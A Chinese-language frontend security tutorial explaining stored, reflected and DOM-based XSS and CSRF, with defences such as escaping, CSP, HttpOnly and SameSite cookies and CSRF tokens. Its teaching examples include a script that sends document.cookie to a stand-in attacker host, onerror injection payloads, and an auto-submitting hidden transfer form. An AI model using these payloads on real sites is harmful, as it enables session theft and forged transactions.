【前端安全】前端安全第一课:防止 XSS 和 CSRF 攻击的常见手法
【前端安全】前端安全第一课:防止 XSS 和 CSRF 攻击的常见手法
所属专栏: 《前端小技巧集合:让你的代码更优雅高效》
上一篇: 【性能指标】决战性能之巅:深入理解核心 Web 指标(Core Web Vitals)
作者: 码力无边
✨ 引言:在代码的“伊甸园”里,毒蛇从未远去
嘿,各位在数字世界里构筑梦想、守护用户的前端“守望者”们,我是码力无边!
欢迎来到我们《前端小技巧集合》专栏的收官之作。在过去的 29 篇里,我们一起修炼了 CSS 的奇技淫巧,掌握了 JS 的骚操作,探索了 React 的性能奥秘,玩转了工程化的利器,也深入了性能优化的内核。我们的应用变得越来越强大、越来越快、越来越优雅。
我们仿佛在代码的世界里,建造了一座座繁华的“伊甸园”。用户在其中愉快地生活、分享、交易。一切看起来都那么美好。
但是,在这片看似宁静的“伊甸园”里,“毒蛇”——也就是网络攻击者——从未远去。他们潜伏在阴影之中,时刻寻找着我们代码中的“裂缝”,试图窃取用户的“禁果”(敏感信息、账号权限),甚至摧毁我们辛辛苦苦建立起来的一切。
作为前端开发者,我们常常会有一种错觉:“安全,那是后端大佬们的事儿。我只是个画页面的,能有什么坏心思呢?”
这种想法,是极其危险的。在现代 Web 应用中,前端承载了越来越多的业务逻辑和用户交互,我们早已不是单纯的“视图层”。我们是守护用户数据安全的第一道,也是最后一道防线。一旦前端失守,即使用户密码再复杂、后端防火墙再坚固,也可能在瞬间土崩瓦解。
在前端面临的众多安全威胁中,有两个“古老”而又“致命”的幽灵,它们的名字如同魔咒一般,萦绕在每一位 Web 开发者的耳边:
- XSS (Cross-Site Scripting):跨站脚本攻击 —— 攻击者想方设法将恶意脚本注入到你的网站中,让它在其他用户的浏览器里执行。
- CSRF (Cross-Site Request Forgery):跨站请求伪造 —— 攻击者诱导已经登录的用户,在他们不知情的情况下,向你的网站发送一个恶意的请求。
今天,作为本专栏的收官之作,码力无边将化身“安全导师”,带你深入这两大“上古魔头”的巢穴。我们将通过生动的故事和具体的代码示例,彻底剖析它们的攻击原理,并为你传授一套经过实战检验的前端防御“组合拳”。
这不仅是技术的探讨,更是一次安全意识的“觉醒”。让我们一起为我们的“伊甸园”筑起坚固的围墙,守护我们用户的安全与信任。
第一幕:XSS 的“借刀杀人”之术
XSS 的核心思想,就是“借你的网站,去攻击你的用户”。攻击者本身并不直接攻击用户,而是把你的网站变成一个“木马”,一个能执行他预设好的恶意脚本的“平台”。
剧本设定:
- 你:一个社交网站
my-social-site.com
的前端开发者。 - 受害者 (Alice):你网站的忠实用户,已经登录。
- 攻击者 (Mallory):一个心怀不轨的黑客。
类型一:存储型 XSS (Stored XSS) —— 最恶毒的“慢性毒药”
这是最危险的一种 XSS 攻击。攻击者将恶意脚本存储到了你的服务器数据库中。
攻击流程:
- “下毒”:你的网站有一个“评论”功能。Mallory 在评论框里,没有输入正常的评论,而是输入了一段精心构造的恶意脚本:
<p>这篇文章写得太棒了!</p> <script>// 这段脚本会在每个看到这条评论的用户浏览器中执行// 比如,偷偷地把用户的 cookie 发送到攻击者的服务器const userCookie = document.cookie;fetch(`https://mallory-evil-server.com/steal?cookie=${userCookie}`); </script>
- “入库”:你后端没有对用户输入进行严格的过滤和转义,直接将这段包含
<script>
标签的 HTML 字符串存入了数据库。 - “传播”:无辜的用户 Alice 访问了这篇文章。你的前端代码从后端获取评论数据,然后不加处理地,通过
innerHTML
或 React 的dangerouslySetInnerHTML
将其渲染到了页面上。 - “毒发”:当 Alice 的浏览器解析到 Mallory 留下的评论时,那段
<script>
标签被当成了正常的、可执行的 JavaScript。于是,脚本执行,Alice 的cookie
(其中可能包含她的 session ID)神不知鬼不觉地被发送到了 Mallory 的服务器。 - “冒名顶替”:Mallory 拿到了 Alice 的
cookie
,他就可以伪造成 Alice 的身份,登录你的网站,为所欲为。
存储型 XSS 的可怕之处在于,它像一种“慢性毒药”,只要被注入一次,所有访问受感染页面的用户都会“中毒”,影响范围极广。
类型二:反射型 XSS (Reflected XSS) —— 狡猾的“钓鱼陷阱”
反射型 XSS 的恶意脚本不会被存储在服务器上。它通常作为 URL 的一部分,由攻击者“构造”出来,然后诱导用户去点击。
攻击流程:
- “制作鱼饵”:你的网站有一个搜索功能,URL 类似于
https://my-social-site.com/search?q=keyword
。搜索结果页面会显示“您搜索的关键词是:keyword”。 - “藏毒于饵”:Mallory 发现,你的后端在显示搜索关键词时,也没有做转义。于是,他构造了一个恶意的 URL:
https://my-social-site.com/search?q=<script>alert('你被攻击了!');</script>
- “钓鱼”:Mallory 将这个经过 URL 编码后的链接,通过邮件、聊天软件等方式,伪装成一个“热门文章链接”、“中奖通知”等,发送给受害者 Alice,并诱导她点击。
- “毒发”:Alice 点击链接后,她的浏览器向你的服务器发送了请求。你的服务器从 URL 中提取出
q
参数的值(那段恶意脚本),然后不加处理地把它“反射”回了 HTML 页面中,比如:
Alice 的浏览器解析到这段 HTML,脚本被执行。虽然这个<div>您搜索的关键词是:<script>alert('你被攻击了!');</script></div>
alert
看起来无害,但 Mallory 完全可以把它换成和存储型 XSS 中一样的窃取 cookie 的脚本。
反射型 XSS 像一场“骗局”,它需要用户的“配合”(点击恶意链接)才能成功。
类型三:DOM 型 XSS (DOM-based XSS) —— 前端的“自我背叛”
DOM 型 XSS 是一个非常特殊的类型。它的注入和执行过程,完全发生在前端,服务器甚至可能毫不知情。
攻击流程:
- “前端的漏洞”:你的单页应用 (SPA) 中,有一段 JavaScript 代码,它会从 URL 的 hash (
#
) 中读取内容,并将其动态地渲染到页面上。// router.js window.addEventListener('hashchange', () => {const content = window.location.hash.slice(1); // 从 # 后面取值// 危险操作!document.getElementById('content').innerHTML = decodeURIComponent(content); });
- “制作鱼饵”:Mallory 构造了一个恶意 URL:
https://my-social-site.com/#<img src=x onerror="alert('DOM XSS!')">
- “钓鱼”:Mallory 同样诱导 Alice 点击这个链接。
- “毒发”:Alice 点击后,浏览器加载了你的网站。
- 服务器视角:服务器看到的 URL 是
https://my-social-site.com/
,因为#
后面的部分不会被发送到服务器。服务器返回了正常的、干净的 JS 文件。 - 浏览器视角:浏览器端的
router.js
开始执行。hashchange
事件(或初始加载)触发,它读取了#
后面的恶意字符串decodeURIComponent('<img src=x onerror="...">')
,然后直接通过innerHTML
把它写入了 DOM。这个无效的<img>
标签加载失败,触发了onerror
事件,执行了 Mallory 的恶意脚本。
- 服务器视角:服务器看到的 URL 是
DOM 型 XSS 的隐蔽之处在于,它完全是前端代码的“自我背叛”,传统的后端 WAF (Web 应用防火墙) 可能完全无法检测到它。
XSS 防御“组合拳”
防御 XSS 的核心原则是:永远不要相信用户的任何输入 (Never trust user input),并且对所有要输出到页面的内容进行严格的编码和转义。
第一拳:输入过滤 (Input Filtering) - “初筛”
虽然不是最可靠的防线,但在接收用户输入时,可以做一些基本的过滤。比如,限制用户名只能是字母和数字,过滤掉一些明显的危险字符。但这很容易被绕过,不能作为主要防御手段。
第二拳:输出编码/转义 (Output Encoding/Escaping) - “金钟罩”
这是最核心、最有效的防御手段。它的思想是,将那些具有特殊含义的 HTML 字符(如 <
, >
, "
, '
, &
)转换成它们的 HTML 实体编码。
字符 | HTML 实体 |
---|---|
< | < |
> | > |
" | " |
' | ' 或 ' |
& | & |
当浏览器解析到 <script>
时,它只会把它当成纯粹的文本“
- 后端渲染:几乎所有的后端模板引擎(如 EJS, Pug, Jinja2)都默认开启了输出转义。你只需要确保没有手动关闭它。
- 前端渲染:
- 使用现代框架:React, Vue, Angular 等现代框架,当你使用它们的数据绑定语法(如 React 的
{}
,Vue 的{{}}
)时,它们会自动为你进行输出转义。// React: 这是安全的! const userInput = "<script>alert('xss')</script>"; return <div>{userInput}</div>; // 页面会显示字符串 "<script>alert('xss')</script>"
- 避免危险操作:永远、永远、永远不要滥用
innerHTML
,outerHTML
或 React 的dangerouslySetInnerHTML
。只有当你百分之百确定你插入的 HTML 内容是完全可信的(比如,来自你自己的、经过严格处理的富文本编辑器),才可以使用它们。 - 手动转义:如果你不得不在原生 JS 中操作,请使用成熟的库(如
dompurify
)来清理和转义 HTML,或者至少自己实现一个简单的转义函数。
- 使用现代框架:React, Vue, Angular 等现代框架,当你使用它们的数据绑定语法(如 React 的
第三拳:内容安全策略 (Content Security Policy, CSP) - “白名单”
CSP 是一道强大的、由浏览器提供的附加安全层。它通过一个 HTTP 响应头 Content-Security-Policy
,来告诉浏览器,我的网站只允许从哪些来源加载资源(脚本、样式、图片等)。
-
一个严格的 CSP 策略示例:
Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.google.com;
这个策略告诉浏览器:
- 默认情况下,所有资源(图片、样式等)只能从我自己的域名 (
'self'
) 加载。 - 对于脚本,除了我自己的域名,我还信任
https://apis.google.com
。
- 默认情况下,所有资源(图片、样式等)只能从我自己的域名 (
-
CSP 如何防御 XSS?
- 它能有效地阻止内联脚本 (
<script>...</script>
) 和内联事件处理器 (onclick="..."
) 的执行(除非你明确允许unsafe-inline
,但不推荐)。 - 即使攻击者成功注入了
<script src="https://evil.com/xss.js"></script>
,由于evil.com
不在我们的script-src
白名单里,浏览器会直接拒绝加载和执行这个脚本。
- 它能有效地阻止内联脚本 (
配置 CSP 是一项精细的工作,需要仔细规划你网站的所有资源来源,但它提供的防御效果是极其强大的。
第四拳:HTTPOnly Cookie - “釜底抽薪”
大多数 XSS 攻击的目标都是窃取 document.cookie
。我们可以在设置 cookie 的 Set-Cookie
响应头中,添加 HttpOnly
标记。
Set-Cookie: session_id=...; HttpOnly; Secure; SameSite=Strict
被标记为 HttpOnly
的 cookie,将无法通过 JavaScript 的 document.cookie
API 来访问。它只能由浏览器在发送 HTTP 请求时自动携带。这就从根本上断绝了 XSS 脚本窃取 session cookie 的念想。这是后端必须要做的一项关键配置。
第二幕:CSRF 的“移花接木”之术
CSRF 的核心思想,是“借你的身份,去办我的事”。攻击者自己什么也得不到,他的目标是利用你已经登录的身份,去执行一些非你本意的操作。
剧本设定:
- 你 (Alice):一个网上银行
my-bank.com
的用户,你刚刚登录完,浏览器里存着你的登录凭证 (cookie)。 - 你的银行 (
my-bank.com
):它提供了一个转账功能,请求是这样的:
POST /transfer?to=BOB&amount=100
- 攻击者 (Mallory):他想把你的钱转走。
攻击流程:
- “设下陷阱”:Mallory 在他自己的恶意网站
evil.com
上,创建了一个看起来人畜无害的页面。这个页面上可能有一张可爱的猫咪图片,或者一个“点击抽奖”的按钮。 - “暗藏杀机”:在这个页面的 HTML 里,Mallory 隐藏了一个自动提交的表单:
<!-- evil.com/trap.html --> <h1>快来看可爱的小猫咪!</h1> <img src="cute-cat.jpg"><form id="csrf-form" action="https://my-bank.com/transfer" method="POST" style="display:none;"><input type="hidden" name="to" value="MALLORY"><input type="hidden" name="amount" value="10000"> </form><script>// 页面一加载,就自动提交这个隐藏的表单document.getElementById('csrf-form').submit(); </script>
- “诱敌深入”:Mallory 通过各种手段,诱导你(Alice)在已经登录了网上银行的情况下,访问他这个
evil.com
的陷阱页面。 - “借刀杀人”:
- 你一打开
evil.com
,页面里的 JavaScript 就自动提交了那个隐藏的表单。 - 这个表单的目标地址是
https://my-bank.com/transfer
。 - 根据浏览器的同源策略,
evil.com
的脚本无法读取到my-bank.com
的 cookie。但是,浏览器在发送跨站请求时,如果my-bank.com
的 cookie 没有设置SameSite
属性或者设置得不够严格,浏览器会自动地、无条件地把my-bank.com
域名下的 cookie 一起带上! my-bank.com
的服务器收到了这个POST
请求。它看到了请求中携带着你(Alice)的有效 cookie,验证通过!它又看到了请求的 body 里有to=MALLORY
和amount=10000
。服务器认为这是 Alice 的一次正常转账操作,于是执行了转账。- 你的 10000 块钱,就这样在你欣赏猫咪图片的时候,被转走了。整个过程你毫不知情。
- 你一打开
CSRF 的核心在于:攻击利用了浏览器会自动携带 cookie 的这个“特性”,伪造了一个看起来像是用户自己发出的请求。
CSRF 防御“组合拳”
防御 CSRF 的核心原则是:确保一个敏感操作的请求,必须是由用户在我们的网站上、通过我们设计的 UI 主动发起的,而不是来自其他任何地方。
第一拳:SameSite Cookie 属性 - “釜底抽薪”
这是目前最有效、最根本的防御手段。它通过在 Set-Cookie
响应头中设置 SameSite
属性,来告诉浏览器在跨站请求中,应该如何处理 cookie。
SameSite=Strict
: 最严格。浏览器在任何跨站请求中,都绝对不会携带 cookie。比如,你从 Google 搜索结果中点击一个链接跳转到你的网站,这次跳转也被视为跨站,Strict
模式下连登录状态都会丢失。SameSite=Lax
: 默认值(在现代浏览器中)。在一些被认为是“安全”的顶级导航 GET 请求中(比如点击链接跳转),浏览器会携带 cookie。但在不安全的 HTTP 方法(如POST
,PUT
,DELETE
)的跨站请求中,以及通过<img>
,<iframe>
,XHR/Fetch
等方式发起的跨站请求中,不会携带 cookie。SameSite=None
: 关闭 SameSite 限制。但必须同时指定Secure
属性,即只在 HTTPS 连接中才发送 cookie。
如何防御?
将所有涉及认证的 cookie 都设置为 SameSite=Lax
或 SameSite=Strict
。
对于我们上面的银行转账例子,由于它是一个 POST
请求,Lax
模式已经足以让浏览器拒绝携带 cookie,从而让 Mallory 的攻击失效。这是后端必须要做的一项关键配置。
第二拳:CSRF Token - “对上暗号”
在 SameSite
属性普及之前,CSRF Token 是最经典、最通用的防御方案。
流程:
- 当用户访问一个需要保护的页面(比如转账表单页面)时,服务器生成一个随机的、不可预测的、与当前用户会话绑定的字符串,我们称之为
CSRF Token
。 - 服务器将这个 Token 同时下发到前端(比如,放在一个隐藏的
<input>
字段里)和存储在服务器端的session
中。<form action="/transfer" method="POST"><input type="hidden" name="csrf_token" value="a1b2c3d4-e5f6-..."><!-- ... other fields ... --> </form>
- 当用户提交表单时,这个
csrf_token
会随着表单一起被发送到后端。 - 后端收到请求后,会比较请求中的
token
和session
中存储的token
是否一致。- 如果一致,说明请求合法,执行操作。
- 如果不一致或不存在,说明请求可疑,拒绝执行。
为什么能防御?
攻击者 Mallory 在 evil.com
上,无法得知这个随机生成的 csrf_token
是什么(受同源策略限制)。他伪造的表单里,要么没有这个字段,要么无法填入正确的值。因此,他伪造的请求,永远无法通过后端的“暗号”验证。
这个方案需要前后端配合实现,是 SameSite
cookie 之外的一道坚固防线。
第三拳:检查 Origin
或 Referer
请求头 - “查验来源”
浏览器在发送跨站请求时,通常会带上 Origin
(对于 POST
等) 或 Referer
(对于所有请求) 请求头,来表明这个请求是从哪个源头发起的。
Origin: https://evil.com
Referer: https://evil.com/trap.html
后端可以在处理敏感操作时,检查这两个请求头的值。如果发现来源不是自己信任的域名,就直接拒绝请求。
这种方法简单,但存在一些缺点:
- 某些旧的浏览器或代理可能会不发送
Referer
。 Referer
头可能涉及用户隐私,用户或浏览器插件可能会禁用它。Origin
头在某些情况下也可能不被发送。
因此,它可以作为一种辅助的防御手段,但不应作为唯一的防线。
终章:安全,是一场永恒的“攻防战”
XSS 和 CSRF,是 Web 安全领域永恒的话题。它们就像是隐藏在黑暗森林中的猎手,利用的是人性的弱点(好奇心、贪婪)和我们代码中不经意的疏忽。
作为前端开发者,我们不能再抱有“安全与我无关”的侥幸心理。我们手中的每一行代码,都可能成为守护用户的“盾牌”,也可能成为刺向用户的“利刃”。
今天我们学习的防御“组合拳”,总结起来就是:
- 防御 XSS:
- 核心:对所有输出到页面的内容进行编码转义。
- 助攻:配置严格的 CSP,使用 HttpOnly cookie。
- 防御 CSRF:
- 核心:使用
SameSite
Cookie。 - 助攻:实现 CSRF Token 校验,检查 Origin/Referer 头。
- 核心:使用
安全,不是一劳永逸的“银弹”,而是一场持续的、动态的“攻防战”。它需要我们保持敬畏之心,建立起纵深防御的体系,将安全意识融入到我们编码的每一个环节。
这,是我们作为“守望者”,对用户最基本的承诺,也是我们专业精神的终极体现。
专栏总结与互动:
历经三十篇的修行,我们的《前端小技巧集合》专栏也在此画上了一个圆满的句号。我们从 CSS 的奇技淫巧,到 JS 的异步与函数式,再到 React 的性能与设计模式,最后深入到工程化、调试、性能指标和安全等领域。希望这段旅程,能为你打开一扇扇新的大门,让你的前端“武库”变得更加充实。
感谢各位道友的一路陪伴!技术的道路永无止境,真正的修行,才刚刚开始。
最后,让我们来一场“毕业论道”: 在你看来,除了我们今天讨论的 XSS 和 CSRF,现代前端开发者还应该重点关注哪些其他的安全威胁?比如点击劫持 (Clickjacking)、供应链攻击 (npm 包安全)、敏感信息泄露 (API Key 硬编码) 等。你认为哪一种在当下的前端生态中,威胁最大?在评论区留下你的思考,让我们一起为前端世界的安全未来,贡献最后一份力量!